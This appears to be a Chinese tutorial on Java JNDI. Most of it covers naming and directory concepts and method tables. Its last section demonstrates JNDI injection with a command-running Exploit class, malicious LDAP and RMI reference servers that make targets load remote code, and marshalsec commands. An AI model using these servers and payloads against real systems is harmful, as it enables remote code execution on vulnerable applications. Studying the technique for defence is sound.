1、什么是 JNDI
JNDI(Java Naming and Directory Interface, Java命名和目录接口),JNDI API 映射为特定的命名(Name)和目录服务(Directory)系统,使得Java应用程序可以和这些命名(Name)和目录服务(Directory)之间进行交互,在交互中访问的对象若本地不存在,可以进行远程获取。
JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
2、JNDI 可以干啥
JDK 提供的 JNDI 功能的包:
- javax.naming:命名操作,操作的是 Java 对象。它包含了命名服务的类和接口,该包定义了Context 接口和 InitialContext 类
- javax.naming.directory:目录操作,操作的是 Java 对象的属性。它定义了 DirContext 接口和 InitialDir- Context 类
- javax.naming.event:在命名目录服务器中请求事件通知
- javax.naming.ldap:提供LDAP(轻型目录访问协议)支持
- javax.naming.spi:允许动态插入不同实现
JNDI 主要有两部分组成:应用程序编程接口和服务供应商接口。应用程序编程接口提供了Java应用程序访问各种命名(Name)和目录服务(Directory)的功能,服务供应商接口提供了任意一种服务的供应商使用的功能。
2.1 Name
Name 很好理解,就是命名。将 Java 对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的 Java 对象。简单来说,就是把一个 Java 对象和一个特定的名称关联在一起,方便容器(Context)后续使用。
2.2 Directory
JNDI 中的目录(Directory)是指将一个对象的所有属性信息保存到一个容器环境中。JNDI的目录(Directory)原理与JNDI的命名(Naming)原理非常相似,主要的区别在于目录容器环境中保存的是对象的属性信息,而不是对象本身。举个例子,Name的作用是在容器环境中绑定一个Person对象,而Directory的作用是在容器环境中保存这个Person对象的属性,比如说age=10,name=小明等等。实际上,二者往往是结合在一起使用的
3、怎么操作 JNDI
jdni 相关 api 操作介绍
3.1 Name
3.1.1 Context 接口和 InitialContext类
Context 是命名服务的核心接口,提供对象查找,绑定/解除绑定,重命名对象,创建和销毁子上下文等操作。
InitialContext 类实现了 Context 接口,是访问命名服务的起始上下文,通过它可查找对象和子上下文。
返回类型 | 方法 | 说明 |
Object | addToEnvironment(String propName,Object propVal) | 将新的环境属性添加到此上下文的环境中。 |
void | bind(String name,Object obj) | 将名称绑定到对象。 |
void | bind(Name name,Object obj) | 将名称绑定到对象。 |
void | close() | 关闭此上下文。 |
String | composeName(String name,String prefix) | 使用与此上下文相关的名称组成此上下文的名称。 |
Name | composeName(Name name,Name prefix) | 使用与此上下文相关的名称组成此上下文的名称。 |
Context | createSubcontext(String name) | 创建并绑定一个新的上下文。 |
Context | createSubcontext(Name name) | 创建并绑定一个新的上下文。 |
void | destroySubcontext(String name) | 销毁命名上下文并将其从命名空间中移除。 |
void | destroySubcontext(Name name) | 销毁命名上下文并将其从命名空间中移除。 |
Hashtable | getEnvironment() | 检索对此上下文有效的环境。 |
String | getNameInNamespace() | 在其自己的命名空间中检索此上下文的全名。 |
NamingEnumeration | list(String name) | 枚举在命名上下文中绑定的名称,以及绑定到它们的对象的类名。 |
NamingEnumeration | list(Name name) | 枚举在命名上下文中绑定的名称,以及绑定到它们的对象的类名。 |
NamingEnumeration | listBindings(String name) | 枚举在命名上下文中绑定的名称,以及绑定到它们的对象。 |
NamingEnumeration | listBindings(Name name) | 枚举在命名上下文中绑定的名称,以及绑定到它们的对象。 |
Object | lookup(String name) | 检索命名对象。 |
Object | lookup(Name name) | 检索命名对象。 |
Object | lookupLink(String name) | 检索命名对象,遵循除名称的终端原子组件之外的链接。 |
Object | lookupLink(Name name) | 检索命名对象,遵循除名称的终端原子组件之外的链接。 |
void | rebind(String name,Object obj) | 将名称绑定到对象,覆盖任何现有的绑定。 |
void | rebind(Name name,Object obj) | 将名称绑定到对象,覆盖任何现有的绑定。 |
Object | removeFromEnvironment(String propName) | 从此上下文的环境中删除环境属性。 |
void | rename(String oldName,String newName) | 将新名称绑定到绑定到旧名称的对象,并取消绑定旧名称。 |
void | rename(Name oldName, Name newName) | 将新名称绑定到绑定到旧名称的对象,并取消绑定旧名称。 |
void | unbind(String name) | 取消绑定命名对象。 |
void | unbind(Name name) | 取消绑定命名对象。 |
3.1.2 Name 接口
对应于命名服务概念中的对象名称。它的具体实现可能是一个简单的字符串,也可能是一个复杂对象。CompoundName 类和 CompositeName 类均实现了 Name 接口,分别代表复合名称和混合名称。
返回类型 | 方法 | 描述 |
Name | add(int posn,String comp) | 在此名称中的指定位置添加单个组件。 |
Name | add(String comp) | 将单个组件添加到此名称的末尾。 |
Name | addAll(int posn,Name n) | 在此名称中的指定位置按顺序添加名称的组成部分。 |
Name | addAll(Name suffix) | 将名称的组成部分按顺序添加到该名称的末尾。 |
Object | clone() | 生成此名称的新副本。 |
int | compareTo(Object obj) | 将此名称与另一个名称进行比较以进行排序。 |
boolean | endsWith(Name n) | 确定此名称是否以指定的后缀结尾。 |
String | get(intposn) | 检索此名称的组件。 |
Enumeration | getAll() | 检索此名称的组件作为字符串枚举。 |
Name | getPrefix(intposn) | 创建一个名称,其组成部分由该名称的组成部分的前缀组成。 |
Name | getSuffix(intposn) | 创建一个名称,其组件由该名称中的组件的后缀组成。 |
boolean | isEmpty() | 确定此名称是否为空。 |
Object | remove(intposn) | 从此名称中删除一个组件。 |
int | size() | 返回此名称中的组件数。 |
boolean | startsWith(Name n) | 确定此名称是否以指定前缀开头。 |
3.1.3 Binding 类
Binding 类对应于命名服务概念中的绑定。一个Binding包含对象名称,对象的类名称,对象本身。
返回类型 | 方法 | 描述 |
String | getClassName() | 检索绑定到此绑定名称的对象的类名称。 |
Object | getObject() | 检索绑定到此绑定名称的对象。 |
void | setObject(Object obj) | 设置与此绑定关联的对象。 |
String | toString() | 生成此绑定的字符串表示形式。 |
3.1.4 Referenceable 接口和 Reference类
命名服务中对象的存储方式各不相同。有的将对象直接序列化,这时实现标准的 Serializable 接口接口。有的要将对象存储在命名系统外部,这就要用到 Referenceable 接口和 Reference 类了。Reference类包含了怎样构造出一个实际对象的信息,实际对象则需要实现Referenceable接口。
当将一个实现了 Referenceable 接口的对象绑定到 Context 时,实际上通过 getReference() 得到它的 Reference 进行绑定。而如何从 Reference 中创建出 Referenceable 实例,则由具体的SPI实现,JNDI客户不用关心。
Referenable 接口:
返回类型 | 方法 | 描述 |
Reference | getReference() | 检索此对象的引用。 |
Reference 类:
类型 | 方法 | 描述 |
void | add(int posn,RefAddr addr) | 将地址添加到索引 posn 处的地址列表。 |
void | add(RefAddr addr) | 将地址添加到地址列表的末尾。 |
void | clear() | 从此引用中删除所有地址。 |
Object | clone() | 使用其地址的类名列表、类工厂名称和类工厂位置制作此引用的副本。 |
boolean | equals(Object obj) | 确定 obj 是否是与此引用具有相同地址(以相同顺序)的引用。 |
RefAddr | get(int posn) | 检索索引 posn 处的地址。 |
RefAddr | get(String addrType) | 检索具有地址类型“addrType”的第一个地址。 |
Enumeration | getAll() | 检索此引用中地址的枚举。 |
String | getClassName() | 检索此引用所引用的对象的类名。 |
String | getFactoryClassLocation() | 检索此引用所指对象的工厂位置。 |
String | getFactoryClassName() | 检索此引用所指对象的工厂的类名。 |
int | hashCode() | 计算此引用的哈希码。 |
Object | remove(int posn) | 从地址列表中删除索引 posn 处的地址。 |
int | size() | 检索此引用中的地址数。 |
String | toString() | 生成此引用的字符串表示形式。 |
3.2 Directory
3.2.1 DirContext 接口和 InitialDirContext 类
DirContext 是目录服务的核心接口,它扩展了 Context 接口,除了提供了命名服务的各种操作外,还提供了访问和更新目录对象属性的操作,以及 Search 操作。
InitialDirContext 类扩展 InitialContext 类并实现了DirContext接口,是访问目录服务的起始点。
binding/rebing/unbinding 等方法与 Context 类似,区别是各个方法中均添加了 Attributes 参数,表示绑定的是一个目录对象,其中有对象本身,还有对象的属性集合。这里不再列举。
返回类型 | 方法 | 描述 |
void | bind(String name,Object obj,Attributes attrs) | 将名称与关联的属性绑定到对象。 |
void | bind(Name name,Object obj,Attributes attrs) | 将名称与关联的属性绑定到对象。 |
DirContext | createSubcontext(String name,Attributes attrs) | 创建并绑定一个新的上下文,以及关联的属性。 |
DirContext | createSubcontext(Name name,Attributes attrs) | 创建并绑定一个新的上下文,以及关联的属性。 |
Attributes | getAttributes(String name) | 检索与命名对象关联的所有属性。 |
Attributes | getAttributes(String name,String[] attrIds) | 检索与命名对象关联的选定属性。 |
Attributes | getAttributes(Name name) | 检索与命名对象关联的所有属性。 |
Attributes | getAttributes(Name name,String[] attrIds) | 检索与命名对象关联的选定属性。 |
DirContext | getSchema(String name) | 检索与命名对象关联的架构。 |
DirContext | getSchema(Name name) | 检索与命名对象关联的架构。 |
DirContext | getSchemaClassDefinition(String name) | 检索包含命名对象的类定义的架构对象的上下文。 |
DirContext | getSchemaClassDefinition(Name name) | 检索包含命名对象的类定义的架构对象的上下文。 |
void | modifyAttributes(String name, int mod_op,Attributes attrs) | 修改与命名对象关联的属性。 |
void | modifyAttributes(String name,ModificationItem[] mods) | 使用有序的修改列表修改与命名对象关联的属性。 |
void | modifyAttributes(Name name, int mod_op,Attributes attrs) | 修改与命名对象关联的属性。 |
void | modifyAttributes(Name name,ModificationItem[] mods) | 使用有序的修改列表修改与命名对象关联的属性。 |
void | rebind(String name,Object obj,Attributes attrs) | 将名称与关联的属性绑定到对象,覆盖任何现有的绑定。 |
void | rebind(Name name,Object obj,Attributes attrs) | 将名称与关联的属性绑定到对象,覆盖任何现有的绑定。 |
NamingEnumeration | search(String name,String filterExpr,Object[] filterArgs,SearchControls cons) | 在命名上下文或对象中搜索满足给定搜索过滤器的条目。 |
NamingEnumeration | search(String name,String filter,SearchControls cons) | 在命名上下文或对象中搜索满足给定搜索过滤器的条目。 |
NamingEnumeration | search(String name,Attributes matchingAttributes) | 在单个上下文中搜索包含指定属性集的对象。 |
NamingEnumeration | search(String name,Attributes matchingAttributes,String[] attributesToReturn) | 在单个上下文中搜索包含指定属性集的对象,并检索选定的属性。 |
NamingEnumeration | search(Name name,String filterExpr,Object[] filterArgs,SearchControls cons) | 在命名上下文或对象中搜索满足给定搜索过滤器的条目。 |
NamingEnumeration | search(Name name,String filter,SearchControls cons) | 在命名上下文或对象中搜索满足给定搜索过滤器的条目。 |
NamingEnumeration | search(Name name,Attributes matchingAttributes) | 在单个上下文中搜索包含指定属性集的对象。 |
NamingEnumeration | search(Name name,Attributes matchingAttributes,String[] attributesToReturn) | 在单个上下文中搜索包含指定属性集的对象,并检索选定的属性。 |
3.2.2 Attribute接口和Attributes接口
Attribute接口对应于目录服务概念中的属性。Attributes表示属性的集合。
3.2.3 SearchResult类和SearchControls类
SearchResult类继承自Binding类,表示DirContext的search操作的结果。SearchControls类用于对搜索操作进行更精细的控制,如指定搜索范围(Scope),时间限制(TimeLimit)和结果数量限制(CountLimit)。
3.3 Event
命名和目录服务事件 API javax.naming.event
1、EventContext 接口和 EventDirContext 接口分别表示支持事件通知的上下文,提供了添加和删除事件监听器的操作。
2、NamingEvent 类命名和目录服务产生的事件。包含一个type表示不同的事件类型。
3、NamingListener/NamespaceChangeListener/ObjectChangeListener/NamingListener 是处理NamingEvent事件监听器的接口,NamespaceChangeListener 和 ObjectChangeListener 是它的两个子接口,分别定义了各自感兴趣的 NamingEvent 事件类型的处理方法。
4、JNDI注入
攻击者开启的 ldap 或者 rmi 服务器,部署恶意的类,让目标机器请求。
Exploit.java
import java.io.BufferedReader;
import java.io.InputStreamReader;public class Exploit {public Exploit() throws Exception {Process proc = Runtime.getRuntime().exec("calc");BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));StringBuffer sb = new StringBuffer();String line;while((line = br.readLine()) != null) {sb.append(line).append("\n");}String result = sb.toString();Exception e = new Exception(result);throw e;}public static void main(String[] args) throws Exception {}
}
4.1 LDAP+JNDI远程加载恶意类
LdapClient.java
import javax.naming.InitialContext;
import javax.naming.NamingException;public class LdapClient {public static void main(String[] args) throws NamingException {Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/Exploit");
}}
LdapServer.java
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class LdapServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main(String[] tmp_args) {System.out.println("start running ldap server"); //$NON-NLS-1$String[] args=new String[]{"http://127.0.0.1:8888/#Exploit"};int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}public static void run() {System.out.println("start running ldap server"); //$NON-NLS-1$String[] args=new String[]{"http://127.0.0.1:8888/#Log4j2RCE"};int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
4.2 RMI+JNDI远程加载恶意类
RmiClient.java
import javax.naming.Context;
import javax.naming.InitialContext;public class RmiClient {public static void main(String[] args) throws Exception {String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);}
}
RmiServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;public class RmiServer {public static void main(String args[]) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference ref = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");ReferenceWrapper exploitWrapper = new ReferenceWrapper(ref);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/Exploit'");registry.bind("Exploit", exploitWrapper);}
}
4.3 JNDI 涉及的工具
marshalsec 开启 ldap/rmi 服务,项目地址:GitHub - mbechler/marshalsec,下载的包需要编译,java8 环境下使用 maven 进行编译
mvn clean package -DskipTests
1)python 开启自带的 http 服务,默认当前目录为 web 目录
python3 -m http.server 8888
2)将恶意类的 java 文件放到 web 目录,javac 进行编译
javac Exploit.java
3)marshalsec 开启恶意的 ldap 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
4)marshalsec 开启恶意的 rmi 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.2.18:8888/#ExportObject